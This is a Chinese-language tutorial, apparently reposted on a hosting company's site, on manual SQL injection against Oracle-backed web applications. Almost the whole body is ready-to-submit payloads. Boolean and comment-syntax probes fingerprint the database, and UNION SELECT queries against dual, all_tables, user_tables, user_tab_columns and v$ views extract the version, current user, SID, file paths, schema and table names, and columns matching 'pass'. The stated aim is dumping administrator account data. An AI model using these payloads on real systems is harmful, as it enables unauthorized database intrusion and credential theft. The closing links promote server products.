Oracle注入点信息基本检测

Oracle注入点信息基本检测

对于Oracle注入点的检测比较特殊,不像其它注入点一样,需要经过多个步骤检测确认注入点所使用的数据库类型是否为Oracle。

Oracle注入点判断

首先,需要判断是否为Oracle注入点,可提交如下几步查询:

and 1=1

and 1=2

返回不一样的页面,则说明存在注入漏洞,继续在注入点处提交如下查询字符:

/*

“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

“–“是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

;

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。再提交如下查询:

and exists(select * from dual)

and (select count (*) from user_tables)>0–

dual和user_tables是Oracle中的系统表,如果返回正常页面,则可以确定是Oracle注入点。

注入点信息判断

确定注入点类型后,与前面的MySQL注入一样,先用Order by x猜出字段数目,再用联合查询union select方法得获取想要的信息。

最主要的信息是数据库版本,可利用(select banner from sys.v_$version where rownum=1)获取版本信息,例如:

and 1=2 union select 1,2,3,(select banner from sys.v_$version where rownum=1),4,5…… from dual

获取当前数据库连接用户名,可执行如下查询:

and 1=2 union select 1,2,3,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual),4,5…… from dual

执行如下查询:

and 1=2 union select 1,2,3,(select member from v$logfile where rownum=1),4,5…… from dual

通过查询日志文件绝对路径,可以判断操作系统平台。

另外,要获取服务器sid,可执行如下查询:

and 1=2 union select 1,2,3,(select instance_name from v$instance),4,5…… from dual

利用Oracle系统表爆数据库内容

与MySQL一样,可利用Oracle系统表直接爆出数据库中的所有内容。Oracle中存在dual系统表,其中存储了数据库名、表名、字段名等信息,直接针对此表进行注入攻击可获得整个数据库的结构,从而方便查询到管理员帐号数据信息。

爆出库名

在注入点处提交:

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…… from dual

可查询爆出中第一个库名,然后继续查询提交:

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<>’第一个库名’),4,5…… from dual

用同样的方法,可以查询出当前用户数据库中的所有数据库库名。#p#

获取表名

在注入点处提交:

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5…… from dual

可查询数据库中第一个表,然后继续查询提交:

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>’第一个表名’),4,5…… from dual

注意,表名要用大写或大写的16进制代码。用同样的方法,可以查询出当前用户数据库中的所有表名。

另外,也可以采用与前面MSSQL注入相似的方法,直接包含pass的表名,提交查询如下:

and (select column_name from user_tab_columns where column_name like’%25pass%25′)>0

如果返回页面正常的话,则说明当前数据库中有包含pass的表名。再提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like’%25pass%25′),4,5…… from dual

即可得到包含pass的表名。

获取字段名

在注入点处提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name=’表名’ and rownum=1),4,5…… from dual

可获取指定中第一个字段。然后继续查询提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name=’表名’ and column_name<>’第1个字段名’ and rownum=1),4,5…… from dual

即可获取指定表中第二个字段。用同样的方法,可以查询出指定表中的所有字段名。

获取字段内容

在注入点处提交:

and 1=2 union select 1,2,3,字段名,4,5…… from 表名

即可查询出目标表里面的相应字段内容,以此类推,可以获取表中的所有字段内容。

【编辑推荐】

  1. JSP+ORACLE注入方法整理v1.0
  2. Oracle注射技术——Oracle+nc注射
  3. Oracle数据库内部安全威胁:审计特权用户
  4. Oracle listener程序所存在安全漏洞有哪些?

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/140662.html<

(0)
管理的头像管理
上一篇2025-03-04 01:19
下一篇 2025-03-04 01:21

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注